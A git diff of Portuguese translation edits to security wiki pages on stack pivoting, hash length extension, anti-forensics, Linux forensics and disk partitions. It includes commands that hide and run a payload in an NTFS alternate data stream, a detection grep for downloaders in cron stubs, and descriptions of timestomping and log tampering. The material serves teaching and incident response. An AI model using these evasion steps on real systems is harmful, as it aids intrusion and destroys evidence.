|
||||
@ -130,7 +130,7 @@ No amd64, você frequentemente verá `pop rbp ; ret` em vez de `leave ; ret`, ma
|
||||
|
||||
### Gadget `pop rsp`
|
||||
|
||||
[**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando esta técnica. Para esse desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um **gadget `pop rsp`** e há um **leak da pilha**:
|
||||
[**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando essa técnica. Para esse desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um **gadget `pop rsp`** e há um **leak da pilha**:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
@ -184,13 +184,14 @@ xchg <reg>, rsp
|
||||
|
||||
Verifique a técnica ret2esp aqui:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
### Encontrando gadgets de pivotagem rapidamente
|
||||
### Encontrando gadgets de pivot rapidamente
|
||||
|
||||
Use seu buscador de gadgets favorito para procurar por primitivos de pivotagem clássicos:
|
||||
Use seu buscador de gadgets favorito para procurar por primitivos de pivot clássicos:
|
||||
|
||||
- `leave ; ret` em funções ou em bibliotecas
|
||||
- `pop rsp` / `xchg rax, rsp ; ret`
|
||||
@ -220,6 +221,7 @@ CPUs e sistemas operacionais x86 modernos estão cada vez mais implementando **C
|
||||
|
||||
- Para mais informações e detalhes mais profundos, veja:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
{{#endref}}
|
||||
@ -239,14 +241,14 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
|
||||
(gdb) checksec
|
||||
```
|
||||
- Notas para labs/CTF:
|
||||
- Algumas distribuições modernas ativam o SHSTK para binários habilitados para CET quando há suporte de hardware e glibc. Para testes controlados em VMs, o SHSTK pode ser desativado em todo o sistema via o parâmetro de inicialização do kernel `nousershstk`, ou habilitado seletivamente via tunáveis do glibc durante a inicialização (veja referências). Não desative as mitig ações em alvos de produção.
|
||||
- Técnicas baseadas em JOP/COOP ou SROP ainda podem ser viáveis em alguns alvos, mas o SHSTK quebra especificamente os pivôs baseados em `ret`.
|
||||
- Algumas distribuições modernas habilitam SHSTK para binários com CET habilitado quando há suporte de hardware e glibc. Para testes controlados em VMs, SHSTK pode ser desabilitado globalmente via o parâmetro de inicialização do kernel `nousershstk`, ou habilitado seletivamente via tunáveis do glibc durante a inicialização (veja referências). Não desative as mitig ações em alvos de produção.
|
||||
- Técnicas baseadas em JOP/COOP ou SROP ainda podem ser viáveis em alguns alvos, mas SHSTK quebra especificamente pivôs baseados em `ret`.
|
||||
|
||||
- Nota do Windows: O Windows 10+ expõe o modo de usuário e o Windows 11 adiciona a proteção de pilha "Hardware-enforced Stack Protection" em modo kernel, construída sobre pilhas sombra. Processos compatíveis com CET impedem o pivotamento de pilha/ROP em `ret`; os desenvolvedores optam por isso via CETCOMPAT e políticas relacionadas (veja referência).
|
||||
- Nota do Windows: O Windows 10+ expõe o modo de usuário e o Windows 11 adiciona a “Proteção de Pilha Forçada por Hardware” em modo kernel, construída sobre pilhas sombreadas. Processos compatíveis com CET impedem o pivotamento de pilha/ROP em `ret`; os desenvolvedores optam por isso via CETCOMPAT e políticas relacionadas (veja referência).
|
||||
|
||||
## ARM64
|
||||
|
||||
No ARM64, o **prólogo e epílogo** das funções **não armazenam e recuperam o registrador SP** na pilha. Além disso, a instrução **`RET`** não retorna ao endereço apontado pelo SP, mas **para o endereço dentro de `x30`**.
|
||||
No ARM64, o **prólogo e epílogos** das funções **não armazenam e recuperam o registrador SP** na pilha. Além disso, a instrução **`RET`** não retorna para o endereço apontado por SP, mas **para o endereço dentro de `x30`**.
|
||||
|
||||
Portanto, por padrão, apenas abusando do epílogo você **não conseguirá controlar o registrador SP** sobrescrevendo alguns dados dentro da pilha. E mesmo que você consiga controlar o SP, ainda precisaria de uma maneira de **controlar o registrador `x30`**.
|
||||
|
||||
@ -267,7 +269,7 @@ ret
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> A maneira de realizar algo semelhante ao pivotamento de pilha no ARM64 seria ser capaz de **controlar o `SP`** (controlando algum registrador cujo valor é passado para `SP` ou porque, por algum motivo, `SP` está pegando seu endereço da pilha e temos um estouro) e então **abusar do epílogo** para carregar o registrador **`x30`** de um **`SP`** controlado e **`RET`** para ele.
|
||||
> A maneira de realizar algo semelhante ao pivotamento de pilha no ARM64 seria ser capaz de **controlar o `SP`** (controlando algum registrador cujo valor é passado para `SP` ou porque por algum motivo `SP` está pegando seu endereço da pilha e temos um overflow) e então **abusar do epílogo** para carregar o registrador **`x30`** de um **`SP`** controlado e **`RET`** para ele.
|
||||
|
||||
Também na página seguinte você pode ver o equivalente de **Ret2esp no ARM64**:
|
||||
|
||||
@ -284,6 +286,6 @@ Também na página seguinte você pode ver o equivalente de **Ret2esp no ARM64**
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 bits, sem relro, canário, nx e pie. O programa concede um leak para pilha ou pie e um WWW de um qword. Primeiro obtenha o leak da pilha e use o WWW para voltar e obter o leak do pie. Em seguida, use o WWW para criar um loop eterno abusando das entradas de `.fini_array` + chamando `__libc_csu_fini` ([mais informações aqui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando dessa escrita "eterna", uma cadeia ROP é escrita na .bss e acaba chamando-a pivotando com RBP.
|
||||
- Documentação do kernel Linux: Tecnologia de Aplicação de Controle de Fluxo (CET) Shadow Stack — detalhes sobre SHSTK, `nousershstk`, flags de `/proc/$PID/status`, e habilitação via `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- Microsoft Learn: Proteção de Pilha em Modo Kernel com Hardware (pilhas sombra CET no Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
- Microsoft Learn: Proteção de Pilha Forçada por Hardware em Modo Kernel (pilhas sombreadas CET no Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -28,7 +28,7 @@ Compile sem pie, canário e nx:
|
||||
```bash
|
||||
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
|
||||
```
|
||||
## Sem ASLR & Sem canário - Stack Overflow
|
||||
## Sem ASLR e Sem canário - Stack Overflow
|
||||
|
||||
Para parar o ASLR, execute:
|
||||
```bash
|
||||
|
||||
@ -17,15 +17,15 @@ Então, é possível para um **atacante** **anexar** **dados** e **gerar** uma *
|
||||
|
||||
### Como?
|
||||
|
||||
Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir** do **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **hasham**.
|
||||
Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir do** **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **hasham**.
|
||||
|
||||
Então, imagine que o segredo é "secret" e os dados são "data", o MD5 de "secretdata" é 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Se um atacante quiser anexar a string "append", ele pode:
|
||||
Então, imagine que o segredo é "segredo" e os dados são "dados", o MD5 de "segredodados" é 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Se um atacante quiser anexar a string "anexar", ele pode:
|
||||
|
||||
- Gerar um MD5 de 64 "A"s
|
||||
- Mudar o estado do hash previamente inicializado para 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
- Anexar a string "append"
|
||||
- Finalizar o hash e o hash resultante será um **válido para "secret" + "data" + "padding" + "append"**
|
||||
- Anexar a string "anexar"
|
||||
- Finalizar o hash e o hash resultante será um **válido para "segredo" + "dados" + "padding" + "anexar"**
|
||||
|
||||
### **Ferramenta**
|
||||
|
||||
|
||||
@ -18,7 +18,7 @@ malware-analysis.md
|
||||
|
||||
## Inspecionando uma Imagem
|
||||
|
||||
Se você receber uma **imagem forense** de um dispositivo, pode começar **a analisar as partições, o sistema de arquivos** utilizado e **recuperar** arquivos potencialmente **interessantes** (mesmo os deletados). Aprenda como em:
|
||||
Se você receber uma **imagem forense** de um dispositivo, pode começar **a analisar as partições, o sistema de arquivos** utilizado e **recuperar** potencialmente **arquivos interessantes** (mesmo os deletados). Aprenda como em:
|
||||
|
||||
{{#ref}}
|
||||
partitions-file-systems-carving/
|
||||
|
||||
@ -9,7 +9,7 @@ Um atacante pode estar interessado em **alterar os carimbos de data/hora dos arq
|
||||
|
||||
Ambos os atributos têm 4 carimbos de data/hora: **Modificação**, **acesso**, **criação** e **modificação do registro MFT** (MACE ou MACB).
|
||||
|
||||
**O explorador do Windows** e outras ferramentas mostram as informações de **`$STANDARD_INFORMATION`**.
|
||||
**Windows explorer** e outras ferramentas mostram as informações de **`$STANDARD_INFORMATION`**.
|
||||
|
||||
### TimeStomp - Ferramenta Anti-forense
|
||||
|
||||
@ -54,7 +54,7 @@ Esta ferramenta pode modificar ambos os atributos `$STARNDAR_INFORMATION` e `$FI
|
||||
|
||||
## Ocultação de Dados
|
||||
|
||||
O NFTS usa um cluster e o tamanho mínimo de informação. Isso significa que se um arquivo ocupa um e meio cluster, a **metade restante nunca será utilizada** até que o arquivo seja excluído. Portanto, é possível **ocultar dados neste espaço não utilizado**.
|
||||
O NFTS usa um cluster e o tamanho mínimo da informação. Isso significa que se um arquivo ocupa um e meio cluster, a **metade restante nunca será utilizada** até que o arquivo seja excluído. Portanto, é possível **ocultar dados neste espaço não utilizado**.
|
||||
|
||||
Existem ferramentas como slacker que permitem ocultar dados neste espaço "oculto". No entanto, uma análise do `$logfile` e `$usnjrnl` pode mostrar que alguns dados foram adicionados:
|
||||
|
||||
@ -125,7 +125,7 @@ Para desativar cópias de sombra [passos daqui](https://support.waters.com/KB_In
|
||||
|
||||
1. Abra o programa Serviços digitando "serviços" na caixa de pesquisa de texto após clicar no botão iniciar do Windows.
|
||||
2. Na lista, encontre "Volume Shadow Copy", selecione-o e acesse Propriedades clicando com o botão direito.
|
||||
3. Escolha Desativado no menu suspenso "Tipo de Inicialização" e confirme a alteração clicando em Aplicar e OK.
|
||||
3. Escolha Desativado no menu suspenso "Tipo de inicialização" e confirme a alteração clicando em Aplicar e OK.
|
||||
|
||||
Também é possível modificar a configuração de quais arquivos serão copiados na cópia de sombra no registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
|
||||
@ -190,7 +190,7 @@ Detecção: compare `ntdll` na memória vs. no disco, ou faça hook antes do mod
|
||||
|
||||
### Revitalização de Fluxos de Dados Alternativos (ADS)
|
||||
|
||||
Campanhas de malware em 2023 (e.g. **FIN12** loaders) foram vistas preparando binários de segunda fase
|
||||
Campanhas de malware em 2023 (e.g. **FIN12** loaders) foram vistas preparando binários de segundo estágio
|
||||
dentro de ADS para se manter fora da vista de scanners tradicionais:
|
||||
```cmd
|
||||
rem Hide cobalt.bin inside an ADS of a PDF
|
||||
@ -198,7 +198,7 @@ type cobalt.bin > report.pdf:win32res.dll
|
||||
rem Execute directly
|
||||
wmic process call create "cmd /c report.pdf:win32res.dll"
|
||||
```
|
||||
Enumere fluxos com `dir /R`, `Get-Item -Stream *`, ou Sysinternals `streams64.exe`. Copiar o arquivo host para FAT/exFAT ou via SMB removerá o fluxo oculto e pode ser usado por investigadores para recuperar a carga útil.
|
||||
Enumere fluxos com `dir /R`, `Get-Item -Stream *` ou Sysinternals `streams64.exe`. Copiar o arquivo host para FAT/exFAT ou via SMB removerá o fluxo oculto e pode ser usado por investigadores para recuperar a carga útil.
|
||||
|
||||
### BYOVD & “AuKill” (2023)
|
||||
|
||||
@ -215,10 +215,10 @@ Mitigações: habilitar a lista de bloqueio de drivers vulneráveis da Microsoft
|
||||
## Linux Anti-Forensics: Auto-correção e Cloud C2 (2023–2025)
|
||||
|
||||
### Auto-correção de serviços comprometidos para reduzir a detecção (Linux)
|
||||
Os adversários cada vez mais “auto-corrigem” um serviço logo após explorá-lo para evitar re-exploração e suprimir detecções baseadas em vulnerabilidades. A ideia é substituir componentes vulneráveis pelos últimos binários/JARs legítimos upstream, de modo que os scanners relatem o host como corrigido enquanto a persistência e o C2 permanecem.
|
||||
Os adversários cada vez mais "auto-corrigem" um serviço logo após explorá-lo para evitar re-exploração e suprimir detecções baseadas em vulnerabilidades. A ideia é substituir componentes vulneráveis pelos últimos binários/JARs legítimos upstream, para que os scanners relatem o host como corrigido enquanto a persistência e o C2 permanecem.
|
||||
|
||||
Exemplo: Apache ActiveMQ OpenWire RCE (CVE‑2023‑46604)
|
||||
- Após a exploração, os atacantes buscaram JARs legítimos do Maven Central (repo1.maven.org), deletaram JARs vulneráveis na instalação do ActiveMQ e reiniciaram o broker.
|
||||
- Após a exploração, os atacantes buscaram JARs legítimos no Maven Central (repo1.maven.org), deletaram JARs vulneráveis na instalação do ActiveMQ e reiniciaram o broker.
|
||||
- Isso fechou a RCE inicial enquanto mantinha outros pontos de apoio (cron, alterações na configuração do SSH, implantes C2 separados).
|
||||
|
||||
Exemplo operacional (ilustrativo)
|
||||
|
||||
@ -77,7 +77,7 @@ dd if=<subject device> of=<image file> bs=512
|
||||
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||
```
|
||||
### Pré-análise da Imagem do Disco
|
||||
### Pré-análise de Imagem de Disco
|
||||
|
||||
Imaginando uma imagem de disco sem mais dados.
|
||||
```bash
|
||||
@ -151,7 +151,7 @@ malware-analysis.md
|
||||
|
||||
## Pesquisa de programas instalados
|
||||
|
||||
Para pesquisar efetivamente programas instalados em sistemas Debian e RedHat, considere aproveitar logs do sistema e bancos de dados juntamente com verificações manuais em diretórios comuns.
|
||||
Para pesquisar efetivamente por programas instalados em sistemas Debian e RedHat, considere aproveitar logs do sistema e bancos de dados juntamente com verificações manuais em diretórios comuns.
|
||||
|
||||
- Para Debian, inspecione _**`/var/lib/dpkg/status`**_ e _**`/var/log/dpkg.log`**_ para obter detalhes sobre instalações de pacotes, usando `grep` para filtrar informações específicas.
|
||||
- Usuários do RedHat podem consultar o banco de dados RPM com `rpm -qa --root=/mntpath/var/lib/rpm` para listar pacotes instalados.
|
||||
@ -174,7 +174,7 @@ find / -type f -executable | grep <something>
|
||||
```
|
||||
## Recuperar Binários em Execução Deletados
|
||||
|
||||
Imagine um processo que foi executado de /tmp/exec e depois deletado. É possível extrair isso.
|
||||
Imagine um processo que foi executado de /tmp/exec e então deletado. É possível extrair isso.
|
||||
```bash
|
||||
cd /proc/3746/ #PID with the exec file deleted
|
||||
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||
@ -196,7 +196,7 @@ cat /var/spool/cron/crontabs/* \
|
||||
#MacOS
|
||||
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
|
||||
```
|
||||
#### Caça: Abuso de Cron/Anacron via 0anacron e stubs suspeitos
|
||||
#### Hunt: Abuso de Cron/Anacron via 0anacron e stubs suspeitos
|
||||
Os atacantes frequentemente editam o stub 0anacron presente em cada diretório /etc/cron.*/ para garantir a execução periódica.
|
||||
```bash
|
||||
# List 0anacron files and their timestamps/sizes
|
||||
@ -205,7 +205,7 @@ for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron
|
||||
# Look for obvious execution of shells or downloaders embedded in cron stubs
|
||||
grep -R --line-number -E 'curl|wget|/bin/sh|python|bash -c' /etc/cron.*/* 2>/dev/null
|
||||
```
|
||||
#### Hunt: SSH hardening rollback and backdoor shells
|
||||
#### Hunt: Reforço de SSH, rollback e shells de backdoor
|
||||
Mudanças no sshd_config e nas shells de contas do sistema são comuns após a exploração para preservar o acesso.
|
||||
```bash
|
||||
# Root login enablement (flag "yes" or lax values)
|
||||
@ -216,7 +216,7 @@ awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|
|
||||
```
|
||||
#### Hunt: Marcadores de C2 na Nuvem (Dropbox/Cloudflare Tunnel)
|
||||
- Os beacons da API do Dropbox geralmente usam api.dropboxapi.com ou content.dropboxapi.com via HTTPS com tokens de Autorização: Bearer.
|
||||
- Procure no proxy/Zeek/NetFlow por egressos inesperados do Dropbox a partir de servidores.
|
||||
- Procure em proxy/Zeek/NetFlow por egressos inesperados do Dropbox a partir de servidores.
|
||||
- O Cloudflare Tunnel (`cloudflared`) fornece C2 de backup sobre a porta 443 de saída.
|
||||
```bash
|
||||
ps aux | grep -E '[c]loudflared|trycloudflare'
|
||||
@ -246,10 +246,10 @@ Módulos do kernel Linux, frequentemente utilizados por malware como componentes
|
||||
|
||||
### Outros Locais de Autostart
|
||||
|
||||
O Linux emprega vários arquivos para executar automaticamente programas na entrada do usuário, potencialmente abrigando malware:
|
||||
O Linux emprega vários arquivos para executar automaticamente programas ao fazer login do usuário, potencialmente abrigando malware:
|
||||
|
||||
- **/etc/profile.d/**\*, **/etc/profile**, e **/etc/bash.bashrc**: Executados para qualquer login de usuário.
|
||||
- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, e **\~/.config/autostart**: Arquivos específicos do usuário que são executados na entrada.
|
||||
- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, e **\~/.config/autostart**: Arquivos específicos do usuário que são executados ao fazer login.
|
||||
- **/etc/rc.local**: Executa após todos os serviços do sistema terem sido iniciados, marcando o fim da transição para um ambiente multiusuário.
|
||||
|
||||
## Examinar Logs
|
||||
@ -273,7 +273,7 @@ Sistemas Linux rastreiam atividades de usuários e eventos do sistema através d
|
||||
- **/var/log/**: Sempre verifique se há logs inesperados aqui.
|
||||
|
||||
> [!TIP]
|
||||
> Logs do sistema Linux e subsistemas de auditoria podem ser desativados ou excluídos em um incidente de intrusão ou malware. Como os logs em sistemas Linux geralmente contêm algumas das informações mais úteis sobre atividades maliciosas, intrusos rotineiramente os excluem. Portanto, ao examinar os arquivos de log disponíveis, é importante procurar lacunas ou entradas fora de ordem que possam ser uma indicação de exclusão ou adulteração.
|
||||
> Logs do sistema Linux e subsistemas de auditoria podem ser desativados ou excluídos em um incidente de intrusão ou malware. Como os logs em sistemas Linux geralmente contêm algumas das informações mais úteis sobre atividades maliciosas, intrusos rotineiramente os excluem. Portanto, ao examinar os arquivos de log disponíveis, é importante procurar lacunas ou entradas fora de ordem que possam ser uma indicação de exclusão ou manipulação.
|
||||
|
||||
**O Linux mantém um histórico de comandos para cada usuário**, armazenado em:
|
||||
|
||||
@ -302,11 +302,11 @@ Alguns aplicativos também geram seus próprios logs:
|
||||
- **FTP/SFTP**: Revise logs em _\~/.ftp_history_ ou _\~/.sftp_history_ para transferências de arquivos que podem ser não autorizadas.
|
||||
- **MySQL**: Investigue _\~/.mysql_history_ para consultas MySQL executadas, potencialmente revelando atividades não autorizadas no banco de dados.
|
||||
- **Less**: Analise _\~/.lesshst_ para histórico de uso, incluindo arquivos visualizados e comandos executados.
|
||||
- **Git**: Examine _\~/.gitconfig_ e projeto _.git/logs_ para alterações em repositórios.
|
||||
- **Git**: Examine _\~/.gitconfig_ e o projeto _.git/logs_ para alterações em repositórios.
|
||||
|
||||
### Logs de USB
|
||||
### Logs USB
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) é um pequeno software escrito em Python puro que analisa arquivos de log do Linux (`/var/log/syslog*` ou `/var/log/messages*` dependendo da distribuição) para construir tabelas de histórico de eventos USB.
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) é um pequeno software escrito em Python 3 puro que analisa arquivos de log do Linux (`/var/log/syslog*` ou `/var/log/messages*` dependendo da distribuição) para construir tabelas de histórico de eventos USB.
|
||||
|
||||
É interessante **saber todos os USBs que foram usados** e será mais útil se você tiver uma lista autorizada de USBs para encontrar "eventos de violação" (o uso de USBs que não estão dentro dessa lista).
|
||||
|
||||
@ -329,7 +329,7 @@ Mais exemplos e informações dentro do github: [https://github.com/snovvcrash/u
|
||||
|
||||
Examine o _**/etc/passwd**_, _**/etc/shadow**_ e **logs de segurança** em busca de nomes ou contas incomuns criadas e ou usadas em estreita proximidade com eventos não autorizados conhecidos. Além disso, verifique possíveis ataques de força bruta ao sudo.\
|
||||
Além disso, verifique arquivos como _**/etc/sudoers**_ e _**/etc/groups**_ para privilégios inesperados concedidos a usuários.\
|
||||
Por fim, procure por contas com **sem senhas** ou **senhas facilmente adivinháveis**.
|
||||
Finalmente, procure por contas com **sem senhas** ou **senhas facilmente adivinháveis**.
|
||||
|
||||
## Examinar Sistema de Arquivos
|
||||
|
||||
@ -375,16 +375,16 @@ git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ |
|
||||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **Opções de filtro** (`--diff-filter`) ajudam a restringir a mudanças específicas, como arquivos adicionados (`A`), deletados (`D`) ou modificados (`M`).
|
||||
- **Opções de filtro** (`--diff-filter`) ajudam a restringir a mudanças específicas, como arquivos adicionados (`A`), excluídos (`D`) ou modificados (`M`).
|
||||
- `A`: Arquivos adicionados
|
||||
- `C`: Arquivos copiados
|
||||
- `D`: Arquivos deletados
|
||||
- `D`: Arquivos excluídos
|
||||
- `M`: Arquivos modificados
|
||||
- `R`: Arquivos renomeados
|
||||
- `T`: Mudanças de tipo (por exemplo, arquivo para symlink)
|
||||
- `U`: Arquivos não mesclados
|
||||
- `X`: Arquivos desconhecidos
|
||||
- `B`: Arquivos quebrados
|
||||
- `B`: Arquivos corrompidos
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
## Partições
|
||||
|
||||
Um disco rígido ou um **SSD pode conter diferentes partições** com o objetivo de separar dados fisicamente.\
|
||||
A **unidade mínima** de um disco é o **setor** (normalmente composto por 512B). Portanto, cada tamanho de partição precisa ser um múltiplo desse tamanho.
|
||||
A **unidade mínima** de um disco é o **setor** (normalmente composto por 512B). Assim, cada tamanho de partição precisa ser um múltiplo desse tamanho.
|
||||
|
||||
### MBR (master Boot Record)
|
||||
|
||||
@ -25,31 +25,31 @@ Dos **bytes 440 a 443** do MBR, você pode encontrar a **Assinatura do Disco do
|
||||
|
||||
| Offset | Comprimento | Item |
|
||||
| ----------- | ----------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | Código de inicialização |
|
||||
| 446 (0x1BE) | 16 (0x10) | Primeira Partição |
|
||||
| 0 (0x00) | 446(0x1BE) | Código de inicialização |
|
||||
| 446 (0x1BE) | 16 (0x10) | Primeira Partição |
|
||||
| 462 (0x1CE) | 16 (0x10) | Segunda Partição |
|
||||
| 478 (0x1DE) | 16 (0x10) | Terceira Partição |
|
||||
| 494 (0x1EE) | 16 (0x10) | Quarta Partição |
|
||||
| 478 (0x1DE) | 16 (0x10) | Terceira Partição |
|
||||
| 494 (0x1EE) | 16 (0x10) | Quarta Partição |
|
||||
| 510 (0x1FE) | 2 (0x2) | Assinatura 0x55 0xAA |
|
||||
|
||||
**Formato do Registro da Partição**
|
||||
|
||||
| Offset | Comprimento | Item |
|
||||
| --------- | ----------- | ------------------------------------------------------ |
|
||||
| 0 (0x00) | 1 (0x01) | Sinalizador ativo (0x80 = inicializável) |
|
||||
| 1 (0x01) | 1 (0x01) | Cabeça de início |
|
||||
| 2 (0x02) | 1 (0x01) | Setor de início (bits 0-5); bits superiores do cilindro (6-7) |
|
||||
| 3 (0x03) | 1 (0x01) | Cilindro de início, 8 bits mais baixos |
|
||||
| 4 (0x04) | 1 (0x01) | Código do tipo de partição (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Cabeça final |
|
||||
| 6 (0x06) | 1 (0x01) | Setor final (bits 0-5); bits superiores do cilindro (6-7) |
|
||||
| 7 (0x07) | 1 (0x01) | Cilindro final, 8 bits mais baixos |
|
||||
| 8 (0x08) | 4 (0x04) | Setores precedendo a partição (little endian) |
|
||||
| 0 (0x00) | 1 (0x01) | Sinalizador ativo (0x80 = inicializável) |
|
||||
| 1 (0x01) | 1 (0x01) | Cabeça de início |
|
||||
| 2 (0x02) | 1 (0x01) | Setor de início (bits 0-5); bits superiores do cilindro (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Cilindro de início 8 bits mais baixos |
|
||||
| 4 (0x04) | 1 (0x01) | Código do tipo de partição (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Cabeça final |
|
||||
| 6 (0x06) | 1 (0x01) | Setor final (bits 0-5); bits superiores do cilindro (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | Cilindro final 8 bits mais baixos |
|
||||
| 8 (0x08) | 4 (0x04) | Setores precedendo a partição (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Setores na partição |
|
||||
|
||||
Para montar um MBR no Linux, você primeiro precisa obter o deslocamento inicial (você pode usar `fdisk` e o comando `p`)
|
||||
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
E então use o seguinte código
|
||||
```bash
|
||||
@ -72,7 +72,7 @@ A Tabela de Partição GUID, conhecida como GPT, é favorecida por suas capacida
|
||||
|
||||
**Resiliência e Recuperação de Dados**:
|
||||
|
||||
- **Redundância**: Ao contrário da MBR, a GPT não confina os dados de partição e inicialização a um único lugar. Ela replica esses dados em todo o disco, melhorando a integridade e resiliência dos dados.
|
||||
- **Redundância**: Ao contrário da MBR, a GPT não confina a partição e os dados de inicialização a um único lugar. Ela replica esses dados em todo o disco, melhorando a integridade e resiliência dos dados.
|
||||
- **Verificação de Redundância Cíclica (CRC)**: A GPT emprega CRC para garantir a integridade dos dados. Ela monitora ativamente a corrupção de dados e, quando detectada, a GPT tenta recuperar os dados corrompidos de outra localização no disco.
|
||||
|
||||
**MBR Protetora (LBA0)**:
|
||||
@ -149,7 +149,7 @@ Se fosse uma **tabela GPT em vez de um MBR**, deveria aparecer a assinatura _EFI
|
||||
|
||||
### FAT
|
||||
|
||||
O sistema de arquivos **FAT (Tabela de Alocação de Arquivos)** é projetado em torno de seu componente central, a tabela de alocação de arquivos, posicionada no início do volume. Este sistema protege os dados mantendo **duas cópias** da tabela, garantindo a integridade dos dados mesmo se uma estiver corrompida. A tabela, juntamente com a pasta raiz, deve estar em uma **localização fixa**, crucial para o processo de inicialização do sistema.
|
||||
O sistema de arquivos **FAT (Tabela de Alocação de Arquivos)** é projetado em torno de seu componente central, a tabela de alocação de arquivos, posicionada no início do volume. Este sistema protege os dados mantendo **duas cópias** da tabela, garantindo a integridade dos dados mesmo se uma delas estiver corrompida. A tabela, juntamente com a pasta raiz, deve estar em uma **localização fixa**, crucial para o processo de inicialização do sistema.
|
||||
|
||||
A unidade básica de armazenamento do sistema de arquivos é um **cluster, geralmente 512B**, que compreende vários setores. O FAT evoluiu através de versões:
|
||||
|
||||
@ -159,7 +159,7 @@ A unidade básica de armazenamento do sistema de arquivos é um **cluster, geral
|
||||
|
||||
Uma limitação significativa em todas as versões do FAT é o **tamanho máximo de arquivo de 4GB**, imposto pelo campo de 32 bits usado para armazenamento do tamanho do arquivo.
|
||||
|
||||
Os componentes-chave do diretório raiz, particularmente para FAT12 e FAT16, incluem:
|
||||
Os componentes principais do diretório raiz, particularmente para FAT12 e FAT16, incluem:
|
||||
|
||||
- **Nome do Arquivo/Pasta** (até 8 caracteres)
|
||||
- **Atributos**
|
||||
@ -169,7 +169,7 @@ Os componentes-chave do diretório raiz, particularmente para FAT12 e FAT16, inc
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** é o sistema de arquivos mais comum para **partições que não fazem journaling** (**partições que não mudam muito**) como a partição de inicialização. **Ext3/4** são **journaling** e são usados geralmente para as **demais partições**.
|
||||
**Ext2** é o sistema de arquivos mais comum para **partições que não fazem journaling** (**partições que não mudam muito**) como a partição de inicialização. **Ext3/4** são **journaling** e geralmente são usados para as **demais partições**.
|
||||
|
||||
## **Metadados**
|
||||
|
||||
@ -199,7 +199,7 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### **File Carving**
|
||||
|
||||
**File carving** é uma técnica que tenta **encontrar arquivos no volume de dados**. Existem 3 maneiras principais pelas quais ferramentas como essa funcionam: **Baseadas em cabeçalhos e rodapés de tipos de arquivo**, baseadas em **estruturas** de tipos de arquivo e baseadas no **conteúdo** em si.
|
||||
**File carving** é uma técnica que tenta **encontrar arquivos na massa de dados**. Existem 3 maneiras principais pelas quais ferramentas como essa funcionam: **Baseadas em cabeçalhos e rodapés de tipos de arquivo**, baseadas em **estruturas** de tipos de arquivo e baseadas no **conteúdo** em si.
